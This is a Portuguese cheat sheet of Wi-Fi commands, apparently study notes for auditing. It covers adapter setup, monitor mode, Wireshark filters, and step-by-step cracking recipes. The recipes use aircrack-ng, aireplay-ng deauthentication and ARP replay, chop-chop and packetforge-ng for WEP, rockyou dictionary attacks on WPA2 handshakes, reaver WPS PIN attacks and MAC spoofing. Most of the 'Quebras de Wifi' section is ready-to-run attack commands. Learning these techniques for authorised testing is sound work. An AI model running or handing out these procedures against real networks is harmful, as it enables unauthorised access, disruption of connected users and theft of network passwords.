### Comandos básicos
Como visualizar os adaptadores de Wifi:
```
iwconfig
```
Como mostrar os canais que o adaptador suporta:
```
iwlist wlan1 channel
```
Como mostrar todas as redes próximas:
```
iwlist wlan1 scanning
iwlist wlan1 scanning | grep ESSID
iwlist wlan1 scanning | egrep "ESSID|Channel:|Address:"
```
Como definir um canal na plata de rede:
```
iwconfig wlan1 channel 6
```
OBS: Para a placa de rede subir com a nova configuração você pode desligar e ligar o adaptador de rede usando o ifconfig.
```
ifconfig wlan1 down
ifconfig wlan1 up
ifconfig wlan1
```
Usando comando mais modernos temos:
```
ip link set wlan1 down
ip link set wlan1 up
ip link show wlan1
```
Como trocar o modo de operação do Wifi
```
iwconfig wlan1 mode [Ad-Hoc, Auto, Managed, Master, Monitor, Repeater, Secundary]
```
Monitor os Beacons de rede quando o Wifi está em modo monitor:
```
tcpdump -vv -i wlan0 -n -c 5
```
OBS: Esse comando restringe a captura para 5 pacotes. Um exemplo a seguir de resposta:
```shell
tcpdump -vv -i wlan0 -n -c 5
tcpdump: listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), snapshot length 262144 bytes
17:01:54.147020 1.0 Mb/s 2412 MHz 11b -44dBm signal antenna 0 Probe Request (KARLA_2.4G) [1.0* 2.0* 5.5* 11.0* 6.0* 9.0 12.0* 18.0 Mbit]
17:01:54.147022 1.0 Mb/s 2412 MHz 11b -44dBm signal antenna 0 Probe Request (KARLA_2.4G) [1.0* 2.0* 5.5* 11.0* 6.0* 9.0 12.0* 18.0 Mbit]
17:01:54.349319 1.0 Mb/s 2412 MHz 11b -48dBm signal antenna 0 Probe Request (KARLA_2.4G) [1.0* 2.0* 5.5* 11.0* 6.0* 9.0 12.0* 18.0 Mbit]
17:01:54.450349 1.0 Mb/s 2412 MHz 11b -48dBm signal antenna 0 Probe Request (KARLA_2.4G) [1.0* 2.0* 5.5* 11.0* 6.0* 9.0 12.0* 18.0 Mbit]
17:01:54.854780 1.0 Mb/s 2412 MHz 11b -66dBm signal antenna 0 Action (80:d0:4a:99:42:50): BA ADDBA Request
5 packets captured
5 packets received by filter
0 packets dropped by kernel
```
### Suite Aircrack-ng
o **Aircrack-ng** é um conjunto de ferramentas de código aberto usado principalmente para **auditoria e teste de segurança de redes Wi-Fi**.
Ele é voltado para redes que utilizam os protocolos **WEP**, **WPA** e **WPA2**, permitindo capturar tráfego, analisar pacotes e tentar recuperar senhas por meio de ataques como **dictionary attack**, **brute force** e **PMKID**.
A suíte é composta por vários programas, sendo os principais:
- **airmon-ng** – Coloca a placa Wi-Fi em modo monitor para capturar pacotes.
- **airodump-ng** – Captura e exibe informações sobre redes e clientes.
- **aireplay-ng** – Injeta pacotes para gerar tráfego e acelerar a captura de dados necessários para quebrar a chave.
- **aircrack-ng** – Faz a quebra da chave com base nos pacotes capturados.
Como colocar a placa em modo de monitoramento:
```
airmon-ng start wlan0
```
Como realizar um dump dos pacotes que estão acontecendo:
```
airodump-ng wlan0
airodump-ng --channel 1 --essid NOMEDAREDE wlan0
airodump-ng wlan0 --min-power -60
```
Como realizar o replay de ataques Wifi:
```
aireplay-ng -0 0 -a B0:B0:00:00:00:00 wlan0
```
Para realizar o crack dos pacotes capturados airodump-ng:
```
airdecap-ng -w PASS file.cap
```
OBS: Esse comando irá gerar um arquivo com o mesmo nome: file-dec.pcap, só que decriptado.
#### Protocolos e Criptografia em Redes Wi-Fi
| Protocolo | Criptografia | Tamanho da Chave | Modos de Autenticação | Vulnerabilidades | Status Atual |
| ------------------------------------- | ---------------------------------------------- | ------------------------------------------ | ------------------------------------------------------ | ------------------------------------------------------------------------------------------- | ------------------------------------------------- |
| **WEP** (Wired Equivalent Privacy) | RC4 (stream cipher) + IV de 24 bitsE | 40 ou 104 bits (+ 24 bits do IV) | Chave pré-compartilhada (estática) | IV curto e repetitivo, ataques de _key recovery_, quebra em minutos | **Obsoleto** |
| **WPA** (Wi-Fi Protected Access) | TKIP (RC4 com melhorias e IV de 48 bits) | 128 bits | WPA-Personal (PSK) ou WPA-Enterprise (802.1X/RADIUS) | Vulnerável a ataques de dicionário, herda limitações do RC4, ataques TKIP | **Obsoleto** |
| **WPA2** (Wi-Fi Protected Access II) | AES-CCMP (AES em modo CTR + CBC-MAC) | 128 bits | WPA2-Personal (PSK) ou WPA2-Enterprise (802.1X/RADIUS) | Vulnerável a KRACK (corrigido), ataques de força bruta se senha fraca | **Amplamente usado**, sendo substituído pelo WPA3 |
| **WPA3** (Wi-Fi Protected Access III) | AES-CCMP + AES-GCMP (modo Galois/Counter Mode) | 128 bits (Pessoal) / 192 bits (Enterprise) | WPA3-Personal (SAE) ou WPA3-Enterprise (802.1X/RADIUS) | Reduz vulnerabilidade a ataques offline, mas já teve falhas como _Dragonblood_ (corrigidas) | **Padrão atual** recomendado |
#### Filtros de pacotes no Wireshark
##### Por tipo/subtipo de quadro 802.11
```shell
# Beacons
wlan.fc.type_subtype == 0x08
# Probe Request / Probe Response
wlan.fc.type_subtype == 0x04
wlan.fc.type_subtype == 0x05
# Association / Reassociation
wlan.fc.type_subtype == 0x00 # Assoc Request
wlan.fc.type_subtype == 0x01 # Assoc Response
wlan.fc.type_subtype == 0x02 # Reassoc Request
wlan.fc.type_subtype == 0x03 # Reassoc Response
# Authentication / Deauth / Disassoc
wlan.fc.type_subtype == 0x0b # Authentication
wlan.fc.type_subtype == 0x0c # Deauthentication
wlan.fc.type_subtype == 0x0a # Disassociation
# Controle: RTS / CTS / ACK / Block Ack
wlan.fc.type_subtype == 0x1b # RTS
wlan.fc.type_subtype == 0x1c # CTS
wlan.fc.type_subtype == 0x1d # ACK
wlan.fc.type_subtype == 0x18 # Block Ack Request (BAR)
wlan.fc.type_subtype == 0x19 # Block Ack (BA)
# Somente quadros de dados
wlan.fc.type == 2
```
##### Por SSID / AP (BSSID) / Cliente
```shell
wlan_mgt.ssid == "MeuSSID"
wlan.bssid == aa:bb:cc:dd:ee:ff
wlan.addr == 88:79:7e:3c:63:0b
(wlan.sa == <STA_MAC>) || (wlan.da == <STA_MAC>)
```
##### Direção (AP ↔ Cliente) e unicast
```shell
# STA -> AP
wlan.fc.to_ds == 1 && wlan.fc.from_ds == 0
# AP -> STA
wlan.fc.from_ds == 1 && wlan.fc.to_ds == 0
# Somente unicast (remove broadcast/multicast)
!(wlan.da[0] & 1)
```
##### Segurança / EAPOL (4-way handshake) / WPS
```shell
eapol # chaves WPA/WPA2/WPA3
wps # elementos WPS, se presentes
wlan.rsn # RSN IE (WPA2/WPA3)
```
##### Sinal, canal, retransmissões
```shell
# Por intensidade de sinal
wlan_radio.signal_dbm > -60
# Filtrar por CH1
radiotap.channel.freq == 2412
# Filtrar por quadros de retry
wlan.fc.retry == 1
```
##### Limpar “ruído” comum em Wi-Fi
```shell
# Limpar dados Unicast ,ARP, Broadcast
(wlan.fc.type == 2) && (wlan.bssid == <AP_MAC>) &&
!(wlan.da[0] & 1) && !(arp) && !(ip.dst == 255.255.255.255) && !(ipv6.dst[0] == 0xFF)
# Remover beacons
!(wlan.fc.type_subtype == 0x08)
```
##### Filtrando por tipos de pacote
```
# Filtrar por pacotes de autenticação
wlan.fc.type_subtype == 0x0b
# Filtrar por pacotes beacons
wlan.fc.type_subtype == 0x08
```
### Quebras de Wifi
##### WEP com clientes.
Para se quebrar o padrão web é necessário seguir os seguintes passos:
1. Vamos iniciar a captura de pacotes
```
airodump-ng wlan0
```
2. Depois usar o Airdump para capturar os pacotes de acordo com o canal e SSID já salvando os pacotes em um arquivo:
```
airodump-ng --channel 1 --essid NOMEDAREDE wlan0 -w nomedarede
```
3. Agora é necessário pegar um cliente conectado e começar a replicar vários IV (Vetores de Inicialização) para que possamos identificar o padrão da senha e quebra-la:
OBS: O -3 representa um ataque de ARP para device.
```
aireplay-ng -3 0 -b MAC-DO-AP -h SMAC wlan0
```
OBS: Será necessário aguardar até que o campo Data do airodump fica com 80 mil beacons. Depois disso só finalizar a quebra com o AirCrack-NG:
```
aircrack-ng -a 1 file.cap
```
##### WEP sem clientes.
Para quebrar uma rede Wifi WAP sem qualquer cliente, primeiramente devemos usar o airodump-ng para ficar capturando nossos pacotes e logo em seguida devemos simular uma autenticação Fake com o seguinte comando:
```
aireplay-ng -1 60000000 -a BSSID -e SSID wlan0
```
OBS: O -1 representa o --fakeauth.
A seguir podemos seguir com dois tipos de ataque:
1. Chop Chop
2. Fragmentação
A vulnerabilidade vai mudar de acordo com o tipo do roteador.
```
aireplay-ng -4 -a BSSID -h SMAC wlan0
```
OBS: -4 seria o chopchop.
Ao final você terá um arquivo xor e outro cap que devem ser usados com outro comando chamado packetforge-ng:
```
packetforge-ng -0 -a BSSID -k IP-ORIGEM -l IP-DESTINO -h SMAC -y XORFILE -w SAIDAFILE
```
OBS: IP-ORIGEM e DESTINO pode ser 255.255.255.255.
OBS2: -0 seria o protocolo ARP.
O comando anterior vai conseguir criar um pacote para ser reproduzido pelo aireplay usando o seguinte exemplo:
```
aereplay-ng -2 -r SAIDAFILE wlan0
```
Você vai precisar aguardar pelo menos alguns minutos para ter a quantidade de pacotes suficiente para tentar realizar a quebra:
```
aircrack-ng -a 1 SAIDA.cap
```
##### WEP OSA (Open System Authentication)
Sem verificação real; o cliente só se associa ao AP. A criptografia WEP é aplicada após a associação, mas qualquer um pode se conectar inicialmente.
##### WEP SKA (Shared Key Authentication)
Mais "seguro" (em teoria), usa a chave WEP compartilhada para um processo de desafio-resposta (challenge-response). Como nos processos anteriores para quebrar uma rede Wifi SKA podemos usar o airodump-ng para ficar capturando os pacotes:
```
airodump-ng --channel 1 --essid NOMEDAREDE wlan0 -w nomedarede
```
Depois disso, faça o envio de 3 pacotes de Dealth para o BSSID e DMAK
```
aireplay-ng --deauth 3 -a BSSID -c DMAK (STATION) wlan0
```
Caso o ataque ocorra corretamente no airodump-ng vai aparecer o AUTH -> SKA e nos arquivos gerados, vamos ter um arquivo de XOR.
```
aireplay-ng --fakeauth 0 -y XORFILE wlan0
```
```
aireplay-ng --arpreplay -b BSSID -h SMAC (STATION) wlan0
```
```
aircrack-ng -a 1 FILE.cap
```
##### WEP Dicionário
Esse seria o método mais simples, já que somente é necessário capturar alguns beacons e depois realizar o procedimento de quebra por wordlist.
```
airodump-ng --channel 1 --essid NOMEDAREDE wlan0 -w nomedarede
```
Depois de alguns minutos você já pode tentar quebrar:
```
aircrack-ng -a 1 -n 128 -w /usr/share/wordlists/rockyou.txt FILE.cap
```
##### WPA2 PSK
```
airodump-ng --channel 1 --essid NOMEDAREDE wlan0 -w nomedarede
```
```
aireplay-ng --deauth 3 -a BSSID -c DMAK (STATION) wlan0
```
```
aircrack-ng -a 2 -b BSSID -w /usr/share/wordlists/rockyou.txt FILE.cap
```
##### WPS
A primeira coisa é identificar quais redes estão com suporte a WPS:
```
wash -i wlan0
```
```
airodump-ng --wps wlan0
```
```
reaver -i wlan0 -b BSSID -vv -no-nacks -c 1
```
##### ByPass de MAC
```
macchanger -m XX:XX:XX:XX:XX:XX wlan0
macchanger -p wlan0 #reset
```